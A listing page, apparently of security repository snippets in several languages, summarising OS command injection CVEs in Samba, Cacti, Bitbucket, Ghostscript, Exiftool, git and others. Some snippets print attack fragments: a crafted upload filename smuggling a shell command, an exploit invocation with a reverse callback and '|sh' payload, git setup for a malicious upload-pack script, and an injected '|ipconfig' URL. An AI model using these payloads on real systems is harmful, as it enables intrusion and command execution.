Astra Linux – Vulnerability in cifs-utils

It was discovered that cifs-utils’ mount.cifs function invoked a shell when requesting the Samba password, which could be exploited to inject arbitrary commands. An attacker who had special permissions, such as those through sudo rules, could use this vulnerability to escalate their privileges...

patch-CVE-2026-04321

Parche: CVE-2026-04321 Detalles de la vulnerabilidad CVE : CVE-2026-04321 Producto : Firewall Zyxel Descripción : Inyección de comandos del sistema operativo Severidad : Crítica Estado del parche: DESPLEGADO Campo| Valor ---|--- Fecha del parche| 2026-01-28 Estado| desplegado Desplegado en|...

POC-CVE-2026-19681

CVE-2026-19681 — inyección de comandos en el procesamiento de subida de archivos autenticado Estado: CONFIRMADO en un laboratorio 6.7.2-14.el9 2026-08-20. Nombre de archivo preparado p;sleep$IFS20;-EvvfJk mediante POST /rest/file/upload el prefijo del contexto contiene los metacaracteres; luego...

CVE-2026-4480

ejecutar exploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generate...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly中间件API远程代码执行 经身份验证的RCE：Hoverfly ≤ 1.11.3中的OS命令注入 漏洞概述 属性| 值 ---|--- CVE ID| CVE-2025-54123 CVSS评分| 9.8 — 严重 CVSS向量| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS命令注入, CWE-20 输入验证不当 产品| Hoverfly — 开源API模拟工具 受影响版本| 所有版本至1.11.3 （含） 修复版本| 1.12.0 补丁提交 安全公告|...

CVE-2021-46704

GenieACS中的OS命令注入漏洞 CVE-2021-46704 CVE-2021-46704 Nuclei模板 参考： https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704 https://debricked.com/vulnerability-database/vulnerability/CVE-2021-46704...

CVE-2022-46169

Cacti remoteagent.php 远程命令执行漏洞 CVE-2022-46169 漏洞描述 Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞，攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。 漏洞影响 Cacti 1.2.17-1.2.22 网络测绘 app="Cacti-监控系统" 漏洞复现...

CVE-2022-36804

CVE-2022-36804 - Atlassian Bitbucket Server 与 Data Center 命令注入漏洞 ⚠️ 仅供教育和授权安全研究使用 原始漏洞利用作者 非常感谢原始 PoC 作者 Walnut Security Services Pvt. Ltd 描述 Atlassian Bitbucket Server 与 Data Center 的多个 API 端点（版本 7.0.0 至 7.6.17 之前、7.7.0 至 7.17.10 之前、7.18.0 至 7.21.4 之前、8.0.0 至 8.0.3 之前、8.1.0 至 8.1.3 之前、8.2.0 至...

CVE-2020-24032

CVE-2020-24032 Descripción sugerida tz.pl en los appliances virtuales XoruX LPAR2RRD y STOR2RRD 2.70 permite la inyección de comandos del sistema operativo mediante metacaracteres de shell en una zona horaria, a través de cmd=set&tz=OS. Tipo de vulnerabilidad Otro Inyección de comandos del sistem...

smb_usermap

smbusermap Un exploit simple para CVE-2007-2447, presente en Samba 3.0.20. Puedes explotar esta vulnerabilidad con incluso menos que esto, por ejemplo, con smbclient, pero creo que es difícil ejecutar comandos complejos, ya que muchos caracteres especiales probablemente se pierden, pero un comand...

CVE-2024-32004

创建 tmp 仓库，设置uploadpack.allowfilter为true git init tmp git -C tmp config uploadpack.allowfilter 1 从 tmp 仓库 克隆 evil git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp 配置远程过滤脚本 git -C evil config remote.origin.uploadpack "./fake-upload-pack" 执行恶意脚本 git pull...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript 命令注入漏洞 PoC CVE-2023-36664 10.01.2 之前版本的 Ghostscript 存在漏洞，可导致代码执行（CVSS 评分 9.8）。 官方漏洞描述： Artifex Ghostscript 直至 10.01.2 版本在处理管道设备（使用 %pipe% 前缀或 | 管道字符前缀）时，权限验证处理不当。 Debian 发布的安全公告提到可能执行任意命令： “发现 Ghostscript（GPL PostScript/PDF 解释器）在处理管道设备的权限验证时处理不当，若处理格式错误的文档文件，可能导致执行任意命令。” 该仓库是为 vsociet...

CVE-2026-75616

CVE-2026-75616 Inyección autenticada de comandos del sistema operativo en la interfaz de administración web del TP-Link Archer C20 v6. Los valores de configuración BPA WAN se pasan a system sin una neutralización adecuada, lo que permite a un administrador autenticado en la red adyacente ejecutar...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE Inyección en scripts batch de Windows mediante argumentos de la cadena de consulta Descripción Apache Tomcat con el servlet CGI habilitado y enableCmdLineArguments=true pasa los parámetros de la cadena de consulta como argumentos d...

CVE-2024-10914-Exploit

CVE-2024-10914-Exploit CVE-2024-10914 es una vulnerabilidad crítica que afecta a los dispositivos D-Link DNS-320, DNS-320LW, DNS-325 y DNS-340L hasta la versión 20241028. La función cgiuseradd en el archivo /cgi-bin/accountmgr.cgi?cmd=cgiuseradd es la culpable, ya que permite a los atacantes...

CVE-2022-23935

CVE-2022-23935 Exiftool 软件程序在 12.38 版本之前存在一个安全漏洞，可通过特制文件名加以利用。 该漏洞允许命令注入，攻击者通过在文件名末尾附加管道符 '|'，使文件被当作待执行的命令而非普通文件，从而在系统上执行任意命令。 因此，系统中任何采用此命名约定的文件都可能被用于执行恶意代码。...

Vulnerability-Research

🛡️ Investigación de Vulnerabilidades Aquí, catalogo las vulnerabilidades que he descubierto, los informes correspondientes que contienen detalles de las debilidades y las perspectivas sobre su impacto y remediación. 🏆 CVEs Asignados CVE ID| Título de la vulnerabilidad| Severidad/CVSS| Publicado|...

CVE-2026-4480-POC

CVE-2026-4480 - Ejecución Remota de Código en el Subsistema de Impresión de Samba Descripción general Material de prueba de concepto e investigación relacionado con CVE-2026-4480 , una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta al subsistema de impresión de Samba. La...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2024-56115

CVE-2024-56115 Descripción sugerida Existe una vulnerabilidad en Amiro.CMS anterior a 7.8.4 debido a la falta de medidas para neutralizar elementos especiales. Permite a atacantes remotos llevar a cabo un ataque de Cross-Site Scripting XSS. Tipo de vulnerabilidad CWE-78 | Neutralización incorrect...